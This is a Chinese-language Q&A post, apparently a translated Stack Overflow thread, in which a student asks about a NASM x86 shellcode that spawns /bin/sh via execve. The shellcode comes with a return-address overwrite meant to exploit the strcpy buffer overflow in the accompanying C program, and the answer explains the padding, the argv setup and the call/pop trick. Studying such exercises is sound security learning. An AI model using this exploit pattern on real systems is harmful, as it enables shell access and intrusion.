我有一个C代码和汇编代码,我必须使用它来使用GDB对C程序执行缓冲区溢出攻击。我可能会使用命令run $(cat),但是..
我无法编译汇编程序代码 - times NNNN db 0xff
给出了关于分配非常量值的错误,但我实际上并不知道它的作用或应该做什么。
似乎最后4行像esi指向的堆栈一样工作,对吗?
行mov byte al, 0x0b
使用参数/ bin / sh0,AAAA和BBBB调用execv。为什么我们需要最后两个?
最后int 0x80
我再也不知道它做了什么。
此外,jmp short callit
- > callit doit
从一开始就用doit开始之间的区别是什么?
如果有人可以帮助我,我会感激不尽,我在Google上搜索了几个小时后就迷失了。
NASM x86代码:
BITS 32
jmp short callit
doit:
pop esi
xor eax, eax
mov byte [esi+7], al
lea bx, [esi]
mov dword [esi+8], ebx
mov dword [esi+12], eax
mov byte al, 0x0b
mov ebx, esi
lea exc, [esi+8]
lea edx, [esi+12]
int 0x80
callit
call doit
db '/bin/sh#AAAABBBB'
times NNNN db 0xff
dd 0xbffff050
db 0x00
C代码:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char **argv) {
char buffer[256];
if (argc > 1) {
strcpy(buffer, argv[1]);
}
printf("%p\n", buffer);
return 0;
}
答案 0 :(得分:2)
您无法汇编times NNNN db 0xff
,因为NNNN
未在任何地方定义。你可能应该用那里的数字代替。
您需要AAAA
和BBBB
,以便为系统调用设置argv
数组。 argv[0]
应指向计划名称,argv[1]
应为NULL
。
使用CALL
是因为它将返回地址放在堆栈上,因此您可以使用它来计算数据的绝对地址。